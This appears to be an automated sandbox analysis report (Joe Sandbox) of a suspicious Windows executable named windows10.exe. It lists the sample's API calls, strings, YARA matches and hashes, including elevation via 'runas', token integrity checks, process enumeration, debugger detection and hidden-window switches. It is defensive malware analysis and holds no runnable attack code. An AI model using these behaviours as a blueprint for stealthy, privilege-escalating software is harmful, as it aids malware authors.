Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000014.00000002.2870584165.00000000009C1000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	09:21:37
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000017.00000002.2875643511.0000000000AB1000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.1%
Total number of Nodes:	347
Total number of Limit Nodes:	9

Executed Functions

Function 00AD7660 Relevance: 44.1, APIs: 17, Strings: 8, Instructions: 384
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?), ref: 00AD781F
GetForegroundWindow.USER32(?,?), ref: 00AD78A4
ShellExecuteExW.SHELL32(?), ref: 00AD78C1
ShellExecuteExW.SHELL32(?), ref: 00AD78FF
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00AD7942
GetProcAddress.KERNEL32(00000000), ref: 00AD7949
GetProcessId.KERNELBASE(?,?,?,?), ref: 00AD7950
AllowSetForegroundWindow.USER32(00000000), ref: 00AD7953
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00AD7973
GetProcAddress.KERNEL32(00000000), ref: 00AD797A
Sleep.KERNEL32(00000064,?,?,?), ref: 00AD7997
EnumWindows.USER32(00AD7A90,?), ref: 00AD79B3
BringWindowToTop.USER32(?), ref: 00AD79C2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00AD79DF
GetExitCodeProcess.KERNEL32(?,?), ref: 00AD79EC

Part of subcall function 00AD7D30: CloseHandle.KERNEL32(?,6E9B59AC,00000010,00000010,?,?), ref: 00AD7D72

GetWindowThreadProcessId.USER32(?,?), ref: 00AD7A9C
GetWindowLongW.USER32(?,000000F0), ref: 00AD7AB4

Strings

/C ""%s" %s", xrefs: 00AD7844
%s\System32\cmd.exe, xrefs: 00AD782C
runas, xrefs: 00AD7874
.cmd, xrefs: 00AD77E0
GetProcessId, xrefs: 00AD7938, 00AD7969
Kernel32.dll, xrefs: 00AD793D, 00AD796E
.bat, xrefs: 00AD77AA
open, xrefs: 00AD7858

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Window$HandleProcess$AddressExecuteForegroundModuleProcShellWindows$AllowBringCloseCodeDirectoryEnumExitLongObjectSingleSleepThreadWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
API String ID: 105430343-986041216
Opcode ID: 33aeef31552eb4180e7660e59d2f8fa2ef435e2a2392ec07229233731cb71df3
Instruction ID: ce2d88e7c54011d39bb299dbc5f462b3c342b47827eeac40099eea5d2fa4d4a7
Opcode Fuzzy Hash: 33aeef31552eb4180e7660e59d2f8fa2ef435e2a2392ec07229233731cb71df3
Instruction Fuzzy Hash: 30E1A271A04209DFDB14DFA8C988AEEBBF5FF14310F54816AE516EB391EB349941CB60

Function 00AD5F90 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,6E9B59AC), ref: 00AD5FA0
OpenProcessToken.ADVAPI32(00000000), ref: 00AD5FA7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00AD5FDC
CloseHandle.KERNEL32(?), ref: 00AD5FF2

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 6a95de52fa1e2edace98018538bf4761fc2a0ca6163b4188bb538c3267d9e30e
Instruction ID: f1ce71d73b008f128e4aa31db1e0fecf2a415d4d4f1d90c19bb701f5a59bdc0d
Opcode Fuzzy Hash: 6a95de52fa1e2edace98018538bf4761fc2a0ca6163b4188bb538c3267d9e30e
Instruction Fuzzy Hash: 64F01274544301ABE710DF20EC49B9AB7E8BB48704F908819FD85C2260D779D51DDA63

Function 00AE1A20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(6E9B59AC,?,0000FFFF), ref: 00AE1A4D

Part of subcall function 00AD4EC0: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,00000000,00000000,?,?), ref: 00AD4EDD

ExitProcess.KERNEL32 ref: 00AE1C27

Part of subcall function 00AD8790: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00AD880D

Strings

Full command line:, xrefs: 00AE1A7E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: 72a7922305b2924c2a4b003f55704b7f703502d730dfa9b99c35dc655552cc0c
Instruction ID: ec158330d79fba107dea3b862730f87471b18cd9c2084d52cbe58e0742a01a67
Opcode Fuzzy Hash: 72a7922305b2924c2a4b003f55704b7f703502d730dfa9b99c35dc655552cc0c
Instruction Fuzzy Hash: 095191318101689BCF15EB60CE59BEEB7B5AF55300F1441D9E00AA73A1EF745F88CBA1

Function 00AD7FD0 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00AD7FA8,6E9B59AC), ref: 00AD8044
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00AD7FA8,6E9B59AC), ref: 00AD804E
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00AD7FA8,6E9B59AC), ref: 00AD80AA

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 89d427517b0894cbcb10513b7ff84eda7cb3f31c48b7ffe558f49eb86cf1d799
Instruction ID: ae990a6c684246aa7bebcda9da93db056b9d2585aaccb0997fb9e525efadf2e8
Opcode Fuzzy Hash: 89d427517b0894cbcb10513b7ff84eda7cb3f31c48b7ffe558f49eb86cf1d799
Instruction Fuzzy Hash: 6C315E71A00205AFDB24DF99CC45BAFFBF9FB44710F10452AE516A7380DBB5A9048BA0

Function 00B0C72B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00B0AFDA,00000001,00000364,?,00000006,000000FF,?,00AFC282,?,?,?), ref: 00B0C76C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8e776c5141470e898b8c14c936b2901176fff8e30700c602cbfbd58141e3ec2d
Instruction ID: aac7c2e2030a4f13b413d2ad119eb28634a609d216ffd0d7f86033f207c74c45
Opcode Fuzzy Hash: 8e776c5141470e898b8c14c936b2901176fff8e30700c602cbfbd58141e3ec2d
Instruction Fuzzy Hash: C9F054315456296AEB215B669D49A6B3FC8DB52771B248391AD04A61D0DF20DC018AE1

Non-executed Functions

Function 00AD6EE0 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 519
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AD5F90: GetCurrentProcess.KERNEL32(00000008,?,6E9B59AC), ref: 00AD5FA0
Part of subcall function 00AD5F90: OpenProcessToken.ADVAPI32(00000000), ref: 00AD5FA7

CoInitialize.OLE32(00000000), ref: 00AD6F55
CoCreateInstance.OLE32(00B1D310,00000000,00000004,00B2B320,00000000,?), ref: 00AD6F85
CoUninitialize.OLE32 ref: 00AD74F6
_com_issue_error.COMSUPP ref: 00AD7524

Part of subcall function 00AD1910: LocalFree.KERNEL32(?,6E9B59AC,?,00000000,00B192C0,000000FF,?,?,00B31348,00000000,00AD16D0,80004005), ref: 00AD195C

Strings

$, xrefs: 00AD7454

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Process$CreateCurrentFreeInitializeInstanceLocalOpenTokenUninitialize_com_issue_error
String ID: $
API String ID: 2507920217-3993045852
Opcode ID: 73f8e5b54cd4f7674ed675ec3dab3a85cbe081806fc8384234c3ccaeb7712eb0
Instruction ID: 6862920d640fe7f4edc5adca829475d66ef3a5835e83fbbab769f00efcc71b5f
Opcode Fuzzy Hash: 73f8e5b54cd4f7674ed675ec3dab3a85cbe081806fc8384234c3ccaeb7712eb0
Instruction Fuzzy Hash: 6B228170E04388DFEB15CFA8C948BADBBB4AF45304F14819EE406EB391EB759A45CB51

Function 00ADD060 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00ADD200
LocalFree.KERNEL32(00000000), ref: 00ADD257
_swprintf.LIBCMT ref: 00ADD440
LocalFree.KERNEL32(00000000), ref: 00ADD497
_swprintf.LIBCMT ref: 00ADD592

Strings

+, xrefs: 00ADD506
%, xrefs: 00ADD519

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID: %$+
API String ID: 2429749586-2626897407
Opcode ID: acaaf90eaeddf3b475a3867a0aa921b9ad124ffd396bd3f73029ef8257a09eb4
Instruction ID: 37f954dff710dbd52c06bb422035be8e7cd7092c6d06778de5c9edf492d429cf
Opcode Fuzzy Hash: acaaf90eaeddf3b475a3867a0aa921b9ad124ffd396bd3f73029ef8257a09eb4
Instruction Fuzzy Hash: FA02E171E102199FDB15DFA8DD44BAEBBB5FF49300F14862AF812AB381D734A941CB91

Function 00AE0E90 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 455registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,-00000002,00000000,00000001,?), ref: 00AE12C4
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00B357C0,00000800), ref: 00AE12E1

Strings

/DontWait , xrefs: 00AE0F37, 00AE0F40, 00AE0F6C, 00AE0F8E
/RunAsAdmin , xrefs: 00AE0FCE, 00AE0FD9, 00AE1003, 00AE1013, 00AE1032
/HideWindow, xrefs: 00AE1075, 00AE107F, 00AE10AC, 00AE10BC, 00AE10DB
/EnforcedRunAsAdmin , xrefs: 00AE0EB0, 00AE0EBA, 00AE0EE3, 00AE0F01

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: 933222e45775a19d1aaa8bf6e04d6b1d04c44e800474d7958e4bf98db1a7bdc9
Instruction ID: c1338fe55b9f2265dd2707387ca17b09856a6ab2f9d4459244bf813cd893bdf9
Opcode Fuzzy Hash: 933222e45775a19d1aaa8bf6e04d6b1d04c44e800474d7958e4bf98db1a7bdc9
Instruction Fuzzy Hash: 43E1D135A043E28ACB349F16C840AB6B3E1FF95740F5985ADD949CB695EB71CCC2C3A1

Function 00AD61D0 Relevance: 10.7, APIs: 7, Instructions: 234processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00AD6242
CloseHandle.KERNEL32(00000000), ref: 00AD6285
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00AD62E1
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00AD62FD
CloseHandle.KERNEL32(00000000), ref: 00AD6445
Process32NextW.KERNEL32(?,0000022C), ref: 00AD6463
CloseHandle.KERNEL32(00000000), ref: 00AD648E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: c0acbe779f4382eb1e6374cec9ee096aade86f75751951995487c9b9be9f0e45
Instruction ID: 878345988d05be885f951281f007b8d81d2b314e01ece4bc297a84616a8a5318
Opcode Fuzzy Hash: c0acbe779f4382eb1e6374cec9ee096aade86f75751951995487c9b9be9f0e45
Instruction Fuzzy Hash: 7AA16BB1905269DBDB20DF64D948BDEBBB4EF44304F1082DAE419A7390DBB85E84CF90

Function 00B14609 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B147ED

Strings

1#QNAN, xrefs: 00B1471C
1#INF, xrefs: 00B1473F
1#IND, xrefs: 00B1470E
1#SNAN, xrefs: 00B14715

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4be2374b5d7863e952fef966840b97ef91f4b70a8c4b5ded829fb3554afe118f
Instruction ID: f22a2e619664ae852109f170bfb2eb20199e2ac29f8ab99e987f60790e8c5a5c
Opcode Fuzzy Hash: 4be2374b5d7863e952fef966840b97ef91f4b70a8c4b5ded829fb3554afe118f
Instruction Fuzzy Hash: B3D21772E086298FDB65CE28DD847EAB7F5EB85304F5441EAD40DE7240EB74AE818F41

Function 00B13BA3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00B13EC1,00000002,00000000,?,?,?,00B13EC1,?,00000000), ref: 00B13C3C
GetLocaleInfoW.KERNEL32(?,20001004,00B13EC1,00000002,00000000,?,?,?,00B13EC1,?,00000000), ref: 00B13C65
GetACP.KERNEL32(?,?,00B13EC1,?,00000000), ref: 00B13C7A

Strings

OCP, xrefs: 00B13BF7
ACP, xrefs: 00B13BC1

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c52725c34343ce01524da798668fe4428781076628e275d44993754cfd94d8a6
Instruction ID: 1868e992214a9b54edd29885c2a980d45955cb7d23c6383d923afaafdf5d4bf1
Opcode Fuzzy Hash: c52725c34343ce01524da798668fe4428781076628e275d44993754cfd94d8a6
Instruction Fuzzy Hash: A3213D72704201BADB248F69D941AD7B6E6EB54F64BE684E4E90AE7110F732DF81C390

Function 00B13D78 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00B13E84
IsValidCodePage.KERNEL32(00000000), ref: 00B13ECD
IsValidLocale.KERNEL32(?,00000001), ref: 00B13EDC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00B13F24
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00B13F43

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 8ec1c0f171583d470abd43b29a366562b44024f626d469d534cde98bfedeb4f3
Instruction ID: 1dc21fcf93f1c9d4b0049f3af1868cf4915c596d8cafdbe7e9ec2ca75eb32b06
Opcode Fuzzy Hash: 8ec1c0f171583d470abd43b29a366562b44024f626d469d534cde98bfedeb4f3
Instruction Fuzzy Hash: 65514E72A00305ABDF10EFA5DC45AEA77F8FF44B00F9445A9E905E7190FB709B848B61

Function 00B0B336 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B0B3C3

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction ID: ff1799b8d299bbfee4e0b793576affaa294c73bb221daf580794f1cc80cd4270
Opcode Fuzzy Hash: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction Fuzzy Hash: 5DB113729042459FDB158F68C8A1FEEBFE5EF59310F1481EAE805AB382D7359D01CBA0

Function 00B1069D Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00B10738
FindNextFileW.KERNEL32(00000000,?), ref: 00B107B3
FindClose.KERNEL32(00000000), ref: 00B107D5
FindClose.KERNEL32(00000000), ref: 00B107F8

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 7cabf6a954279bee16f37dcfa7313ae2c7f570688ccfa42e6d79133f1bfd4736
Instruction ID: c2596d00503930e2cf4f5c165c288770a52489ac38148bb2bb8999c702e3d9ba
Opcode Fuzzy Hash: 7cabf6a954279bee16f37dcfa7313ae2c7f570688ccfa42e6d79133f1bfd4736
Instruction Fuzzy Hash: 62418171910229AEDB20FF68CC89AEEB3F9EB85304F9441D5E405D7185EAB09EC0CF50

Function 00AF83BD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00AF83C9
IsDebuggerPresent.KERNEL32 ref: 00AF8495
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AF84B5
UnhandledExceptionFilter.KERNEL32(?), ref: 00AF84BF

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 02fcdf3e89a9fdc9c0bc2bb947555b755e867d7679f74cf07fb49a7110750009
Instruction ID: 533347a47ba86e7626ae64748ac90d06de0eb3fb5d1143c3d2900fd142401800
Opcode Fuzzy Hash: 02fcdf3e89a9fdc9c0bc2bb947555b755e867d7679f74cf07fb49a7110750009
Instruction Fuzzy Hash: CE312775D0121C9BDF20EFA4DD89BDDBBB8AF08300F5041AAE50DAB250EB759A848F44

Function 00AE2161 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,?,00AD3270,?), ref: 00AE2176
FormatMessageA.KERNEL32(00001300,00000000,6E9B59AC,00000000,00000000,00000000,00000000,?,?,?,00AD3270,?), ref: 00AE2198

Strings

!x-sys-default-locale, xrefs: 00AE2171

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 89a38f8bd9f9f607604252a93c456512932bfabe22944eb5966d094575fd9228
Instruction ID: 721f76803a5eaa9ddabe1105c5234929101d891fa2d9b31406fbc9dd90eca8df
Opcode Fuzzy Hash: 89a38f8bd9f9f607604252a93c456512932bfabe22944eb5966d094575fd9228
